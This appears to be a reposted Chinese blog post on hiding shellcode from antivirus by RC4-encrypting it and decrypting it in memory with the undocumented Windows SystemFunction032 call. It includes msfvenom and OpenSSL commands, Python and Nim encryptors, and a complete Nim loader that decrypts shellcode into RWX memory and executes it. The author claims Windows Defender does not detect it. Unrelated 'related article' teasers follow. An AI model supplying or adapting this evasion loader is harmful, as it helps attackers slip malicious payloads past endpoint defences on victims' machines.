当前位置: 首页 > news >正文

SystemFunction032函数的免杀研究

什么是SystemFunction032函数?

虽然Benjamin Delphi在2013年就已经在Mimikatz中使用了它,但由于我之前对它的研究并不多,才有了下文。

这个函数能够通过RC4加密方式对内存区域进行加密/解密。例如,ReactOS项目的代码中显示,它需要一个指向RC4_Context结构的指针作为输入,以及一个指向加密密钥的指针。

不过,目前来看,除了XOR操作,至少我个人还不知道其他的针对内存区域加密/解密的替代函数。但是,你可能在其他研究员的博客中也读到过关于规避内存扫描器的文章,使用简单的XOR操作,攻击者即使是使用了较长的密钥,也会被AV/EDR供应商检测到。

初步想法

虽然RC4算法被认为是不安全的,甚至多年来已经被各个安全厂商研究,但是它为我们提供了一个更好的内存规避的方式。如果我们直接使用AES,可能会更节省OpSec。但是一个简单的单一的Windows API是非常易于使用的。

通常情况下,如果你想在一个进程中执行Shellcode,你需要执行以下步骤。

1、打开一个到进程的句柄

2、在该进程中分配具有RW/RX或RWX权限的内存

3、将Shellcode写入该区域

4、(可选)将权限从RW改为RX,以便执行

5、以线程/APC/回调/其他方式执行Shellcode。

为了避免基于签名的检测,我们可以在执行前对我们的Shellcode进行加密并在运行时解密。

例如,对于AES解密,流程通常是这样的。

1、打开一个到进程的句柄

2、用RW/RX或RWX的权限在该进程中分配内存

3、解密Shellcode,这样我们就可以将shellcode的明文写入内存中

4、将Shellcode写入分配的区域中

5、(可选)把执行的权限从RW改为RX

6、以线程/APC/回调/其他方式执行Shellcode

在这种情况下,Shellcode本身在写入内存时可能会被发现,例如被用户区的钩子程序发现,因为我们需要把指向明文Shellcode的指针传递给WriteProcessMemory或NtWriteVirtualMemory。

XOR的使用可以很好的避免这一点,因为我们还可以在将加密的值写入内存后XOR解密内存区域。简单来讲就像这样。

1、为进程打开一个句柄

2、在该进程中以RW/RX或RWX的权限分配内存

3、将Shellcode写入分配的区域中

4、XOR解密Shellcode的内存区域

5、(可选)把执行的权限从RW改为RX

6、以线程/APC/回调/其他方式执行Shellcode。

但是XOR操作很容易被发现。所以我们尽可能不去使用这种方式。

这里有一个很好的替代方案,我们可以利用SystemFunction032来解密Shellcode,然后将其写入内存中。

生成POC

首先,我们需要生成Shellcode,然后使用OpenSSL对它进行RC4加密。因此,我们可以使用msfvenom来生成。

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
cat calc.bin | openssl enc -rc4 -nosalt -k "aaaaaaaaaaaaaaaa" > enccalc.bin

但后来在调试时发现,SystemFunction032的加密/解密方式与OpenSSL/RC4不同。所以我们不能这样做。

最终修改为

openssl enc -rc4 -in calc.bin -K `echo -n 'aaaaaaaaaaaaaaaa' | xxd -p` -nosalt > enccalc.bin

我们也可以使用下面的Nim代码来获得一个加密的Shellcode blob(仅Windows操作系统)。

import winim
import winim/lean# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
const encstring = slurp"calc.bin"func toByteSeq*(str: string): seq[byte] {.inline.} =## Converts a string to the corresponding byte sequence.@(str.toOpenArrayByte(0, str.high))proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}# This is the mentioned RC4 struct
typeUSTRING* = objectLength*: DWORDMaximumLength*: DWORDBuffer*: PVOIDvar keyString: USTRING
var imgString: USTRING# Our encryption Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16var shellcode = toByteSeq(encstring)
var size  = len(shellcode)# We need to still get the Shellcode to memory to encrypt it with SystemFunction032
let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
echo "Process Handle: ", repr(pHandle)
let rPtr = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](size),MEM_COMMIT,PAGE_READ_WRITE
)copyMem(rPtr, addr shellcode[0], size)# Fill the RC4 struct
imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)# Call SystemFunction032
SystemFunction032(&imgString, &keyString)copyMem(addr shellcode[0],rPtr ,size)echo "Writing encrypted shellcode to dec.bin"writeFile("enc.bin", shellcode)
# enc.bin contains our encrypted Shellcode

之后,又写出了一个简单的Python脚本,用Python脚本简化了加密的过程。

#!/usr/bin/env python3from typing import Iterator
from base64 import b64encode# Stolen from: https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071
def key_scheduling(key: bytes) -> list:sched = [i for i in range(0, 256)]i = 0for j in range(0, 256):i = (i + sched[j] + key[j % len(key)]) % 256tmp = sched[j]sched[j] = sched[i]sched[i] = tmpreturn scheddef stream_generation(sched: list[int]) -> Iterator[bytes]:i, j = 0, 0while True:i = (1 + i) % 256j = (sched[i] + j) % 256tmp = sched[j]sched[j] = sched[i]sched[i] = tmpyield sched[(sched[i] + sched[j]) % 256]        def encrypt(plaintext: bytes, key: bytes) -> bytes:sched = key_scheduling(key)key_stream = stream_generation(sched)ciphertext = b''for char in plaintext:enc = char ^ next(key_stream)ciphertext += bytes([enc])return ciphertextif __name__ == '__main__':# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.binwith open('calc.bin', 'rb') as f:result = encrypt(plaintext=f.read(), key=b'aaaaaaaaaaaaaaaa')print(b64encode(result).decode())

为了执行这个shellcode,我们可以简单地使用以下Nim代码。

import winim
import winim/lean# (OPTIONAL) do some Environmental Keying stuff# Encrypted with the previous code
# Embed the encrypted Shellcode on compile time as string
const encstring = slurp"enc.bin"func toByteSeq*(str: string): seq[byte] {.inline.} =## Converts a string to the corresponding byte sequence.@(str.toOpenArrayByte(0, str.high))proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}typeUSTRING* = objectLength*: DWORDMaximumLength*: DWORDBuffer*: PVOIDvar keyString: USTRING
var imgString: USTRING# Same Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16var shellcode = toByteSeq(encstring)
var size  = len(shellcode)let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)let rPtr = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](size),MEM_COMMIT,PAGE_EXECUTE_READ_WRITE
)copyMem(rPtr, addr shellcode[0], size)imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)# Decrypt memory region with SystemFunction032
SystemFunction032(&imgString, &keyString)# (OPTIONAL) we could Sleep here with a custom Sleep function to avoid memory Scans# Directly call the Shellcode instead of using a Thread/APC/Callback/whateverlet f = cast[proc(){.nimcall.}](rPtr)
f()

最终效果,至少windows defender不会报毒。

通过使用这个方法,我们几乎可以忽略用户区的钩子程序,因为我们的明文Shellcode从未被传递给任何函数(只有SystemFunction032本身)。当然,所有这些供应商都可以通过钩住Advapi32/SystemFunction032来检测我们。

后记

之后我想到了一个更加完美的想法。通过使用PIC-Code,我们也可以省去我的PoC中所使用的其他Win32函数。因为在编写PIC-Code时,所有的代码都已经被包含在了.text部分,而这个部分通常默认有RX权限,这在很多情况下是已经足够了。所以我们不需要改变内存权限,也不需要把Shellcode写到内存中。

简单来讲是以下这种情况:

1、调用SystemFunction032来解密Shellcode 

2、直接调用它

例如,PIC-Code的样本代码可以在这里找到。对于Nim语言来说,之前发布了一个库,它也能让我们相对容易地编写PIC代码,叫做Bitmancer。

相关文章:

SystemFunction032函数的免杀研究

什么是SystemFunction032函数? 虽然Benjamin Delphi在2013年就已经在Mimikatz中使用了它,但由于我之前对它的研究并不多,才有了下文。 这个函数能够通过RC4加密方式对内存区域进行加密/解密。例如,ReactOS项目的代码中显示&…...

Shell函数

目录 1.Shell的作用 2.Shell函数定义 3.函数变量的作用范围 Source 4.递归 5.函数库 ​编辑​编辑​编辑 1.Shell的作用 使用函数可以避免代码重复 使用函数可以将大的工程分割为若干小的功能模块,代码的可读性更强 2.Shell函数定义 1) functi…...

Spring-IOC源码解析

容器创建过程 Spring容器的refresh方法 public void refresh() throws BeansException, IllegalStateException {synchronized (this.startupShutdownMonitor) {StartupStep contextRefresh this.applicationStartup.start("spring.context.refresh");// 1. 进行创…...

不会做大数据实时计算?10年数据分析师整理,一文给出解决方案

本文分为四个章节介绍实时计算,第一节介绍实时计算出现的原因及概念;第二节介绍实时计算的应用场景;第三节介绍实时计算常见的架构;第四节是实时数仓解决方案。 一、实时计算 实时计算一般都是针对海量数据进行的,并…...

如何让你的 WebSocket 接口测试更高效?拯救你的接口测试工作

目录 引言 WebSocket介绍 HTTP与WebSocket的区别 WebSocket测试方法 使用在线工具 使用Postman 使用Jmeter 使用Python 结语 引言 你是否曾经为 WebSocket 接口测试中复杂的协议和难以捕获的数据而感到束手无策?WebSocket 协议与传统的 HTTP 协议不同&…...

浅谈Linux 文件系统层次结构的组织方式

Linux 文件系统层次结构(Filesystem Hierarchy Standard,简称 FHS)是一种用于组织和管理 Linux 文件系统的标准化方式。该标准规定了 Linux 文件系统中各个目录和文件的组织方式、用途和权限,以提高文件系统的可读性、可维护性和可…...

创新案例 |探索 Tive 80% 的收入增长得益于智能物流服务、跟踪和实时可视化

您正在寻找可靠的物流解决方案吗? Tive 是领先的智能物流服务提供商,提供跟踪和实时可见性解决方案。使用 Tive,您可以主动监控公路、空运、海运和铁路运输。它可以帮助您减少运输问题并确保准时和全面交付,从而改善客户体验。 …...

makefile和cmake

Makefile 是一种文件,它定义了一个项目中的编译规则、依赖关系和构建过程。Makefile 可以自动化地构建和管理项目,使得整个项目的构建过程更加高效和可靠。下面是 Makefile 的常用语法: 1. 定义变量 变量可以用来保存一些常用的参数和路径&…...

通过OpenCL内核代码猜测设备寄存器个数

在OpenCL标准中,没有给出查看计算设备一共有多少寄存器,至少能分配给每个work-item多少寄存器使用的特征查询。而由于一个段内核代码是否因寄存器紧缺而导致性能严重下降也是一个比较重要的因素,因此我这边提供一个比较基本的方法来猜测当前计…...

C# + .Net6 实现TensorFlow图片分类

微软官网上发现一篇很有意思的文档:教程:用于对图像进行分类的 ML.NET 分类模型 - ML.NET | Microsoft Learn 这篇教程写的很学院派,但有点碎,属于上课不能打一秒钟瞌睡的那种。好在还是给出了完整的代码:samples/Pro…...

Ngnix负载均衡和高可用集群及搭建与相关理论

Ngnix负载均衡和高可用集群及搭建与相关理论 全文目录 Ngnix负载均衡和高可用集群及搭建与相关理论高可能保持原理配置 keepalived:配置keepalived的IP将外部域名解析到Keepalived的虚拟IP上如何验证配置的正确性Nginx专用调试工具ngx_conf_t如何对前后端多台服务器…...

2022年宜昌市网络搭建与应用竞赛样题(三)

网络搭建与应用竞赛样题(三) 技能要求 (总分1000分) 竞赛说明 一、竞赛内容分布 “网络搭建与应用”竞赛共分三个部分,其中: 第一部分:网络搭建及安全部署项目(500分&#xff0…...

为什么PCB设计完成后需要放置mark点

PCB设计中的Mark点是指一些标记点,通常用于促进PCB制造和组装过程中的准确性和一致性。这些标记点在制造过程中可以帮助操作员进行自动化定位,从而确保所有部件都被正确组装到其正确位置,这对于确保产品的质量和可靠性至关重要。 下面&#…...

代理IP:IP代理技术与Socks5协议

代理IP是一种用于隐藏真实IP地址的技术,它可以将请求发送至代理服务器,再由代理服务器转发请求至目标网站。代理服务器会在请求过程中替换真实IP地址,从而保护用户的隐私和安全。在网络爬虫、反爬虫、匿名访问等场景中,代理IP技术…...

如何让java程序员生涯更顺利?我聊聊提升技术水平的五个方面

今天我想和大家聊聊程序员职业发展的问题。相信大家都知道,IT公司因为各种原因裁员,对程序员的前途发展都是不利的。特别是等到你30多岁,上有老下有小,仍然要加班,与年轻人竞争体力和智力,这是很艰难的。如…...

快速排序、希尔排序、归并排序、堆排序、插入排序、冒泡排序、选择排序(递归、非递归)C语言详解

1.排序的概念及其运用 1.1排序的概念 排序:所谓排序,就是使一串记录,按照其中的某个或某些关键字的大小,递增或递减的排列起来的操作。 稳定性:假定在待排序的记录序列中,存在多个具有相同的关键字的记录&a…...

ChatGPT一键私有部署,全网可用,让访问、问答不再受限,且安全稳定!

前言 ChatGPT由于在访问上有一些限制,使用并不便利。目前国内可以直接访问的大部分是调用API返回结果,我们去使用时总会有次数限制,而且它们可能随便崩掉。 其实,目前我们访问过的大部分国内的网页包括UI,其实是套用了…...

自学黑客(网络安全),一般人我劝你还是算了吧

一、自学网络安全学习的误区和陷阱 1.不要试图先成为一名程序员(以编程为基础的学习)再开始学习 我在之前的回答中,我都一再强调不要以编程为基础再开始学习网络安全,一般来说,学习编程不但学习周期长,而…...

盘“底座”,盘出新生意经

本文转自首席信息官 作者 徐蕊 导读 卖“底座”,这是一门新的生意,也是用友与友商差异化的商业竞争优势所在。 大型企业都在建“数智化底座” 有这样两类企业,他们截然不同,但在数智化的建设上殊途同归。 随着中国经济的发展&a…...

《花雕学AI》Poe:一个让你和 AI 成为朋友的平台,带你探索 ChatGPT4 和其他 八种AI 模型的奥秘

你是否曾经梦想过,能够在一个平台上,和多种不同的 AI 模型进行有趣、有用、有深度的对话,甚至还能轻松地把你的对话分享给其他人?如果你有这样的梦想,那么 Poe 一站式 AI 工具箱就是你的不二之选! Poe 是国…...

单片机GD32F303RCT6 (Macos环境)开发 (十五)—— i2c1采用DMA方式的读写函数

i2c1采用DMA方式的读写函数 1、关于i2c1的DMA的映射如图 2、关于代码的宏定义配置 Application目录的Makefile中 ENABLE_I2C_TEST yes才会编译I2C1的相关代码。 同时修改i2c.h文件,定义I2C1_MODE为I2C1_MODE_DMA,这样i2c1的配置为dma模式。 #define …...

通知短信 API 技术细节以及发送流程机制原理解析

引言 短信是一种简单、直接、高效的通信方式,被广泛应用于各个领域。在移动互联网时代,短信成为了客户服务、政府通知、公共服务等方面的重要工具。为了更好地利用短信这种通信方式,通知短信 API应运而生。短信API可以帮助企业、政府和应用程…...

Protobuf: 高效数据传输的秘密武器

当涉及到网络通信和数据存储时,数据序列化一直都是一个重要的话题;特别是现在很多公司都在推行微服务,数据序列化更是重中之重,通常会选择使用 JSON 作为数据交换格式,且 JSON 已经成为业界的主流。但是 Google 这么大…...

第五十四章 Unity 移动平台输入(下)

本章节我们介绍一个模拟器插件。这种插件比较多,比如EasyTouch,Lean Touch,Joystick Pack等等。EasyTouch是一个使用非常广泛的插件,支持点击,拖拽,遥感等很多常用功能。不过遗憾的是,该插件已经…...

KD305Y带吸收比极化指数兆欧表

一、概述 KD305Y绝缘电阻测试仪对众多的电力设备如:电缆、电机、发电机、变压器、互感器、高压开关、避雷器等要求做一系列的绝缘性能试验,首先是要做绝缘电阻测试。近年来随着电力事业的飞速发展,大容量设备的使用不断增加,用普通的兆欧表无…...

磁盘空间不足怎么办?释放磁盘空间的4种方法

虽然现在硬盘的空间越来越大,但是在这个数据爆炸的时代中,总是会觉得存储空间不够用,一不注意磁盘就满了,那么除了清空回收站、卸载某些程序外,还能怎么释放磁盘空间呢? 方案一:禁用休眠 休眠是…...

ChatGPT调教指北,技巧就是效率!

技巧就是效率 很多人都知道ChatGPT很火很强,几乎无所不能,但跨越了重重门槛之才有机会使用的时候却有些迷茫,一时间不知道如何使用它。如果你就是把他当作一个普通的智能助手来看待,那与小爱同学有什么区别?甚至还差劲…...

Android启动流程(五)——init进程对子进程的监控

init进程会读取rc文件,然后孵化很多其他系统服务进程,为防止子进程死亡后称为僵尸进程,init需要监测子进程是否死亡,如果死亡,则清除子进程资源,并重新拉起进程。 system/core/init/init.cpp InstallSigna…...

Python每日一练:蚂蚁家族(详解集合法)

文章目录 前言一、题目二、代码分析总结 前言 这题挺有意思,感觉评简单难度有点低了,如果正经用无向图来做,代码还是有点长的。首先得建立节点,估计除第一个和最后一个每个节点都是一条线连进,一条线连出的。就可以这…...

图神经网络:在KarateClub数据集上动手实现图神经网络

文章说明: 1)参考资料:PYG官方文档。超链。 2)博主水平不高,如有错误还望批评指正。 3)我在百度网盘上传了这篇文章的jupyter notebook。超链。提取码8888。 文章目录 文献阅读:代码实操: 文献阅读: 参考文…...